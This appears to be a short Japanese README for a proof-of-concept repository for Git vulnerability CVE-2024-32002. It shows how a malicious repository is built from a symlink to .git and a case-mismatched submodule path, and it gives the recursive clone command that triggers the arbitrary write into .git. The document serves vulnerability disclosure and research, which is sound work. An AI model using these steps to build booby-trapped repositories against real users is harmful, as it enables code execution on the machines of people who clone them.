CVE-2024-32002 の PoC で、.git ディレクトリへの任意書き込みを実証します。
関連するサブモジュールリポジトリについては cve-2024-32002-submodule-aw を参照してください。
.git ディレクトリにリンクする任意の名前のシンボリックリンク。.gitmodules ファイル。このリポジトリは Linux (正確には WSL2) で作成されました。これは重要です。悪意のあるリポジトリは、大文字小文字を区別するファイルシステム上でしか作成できません。
ln -s .git submodule
注記:
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
注記:
git --version
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git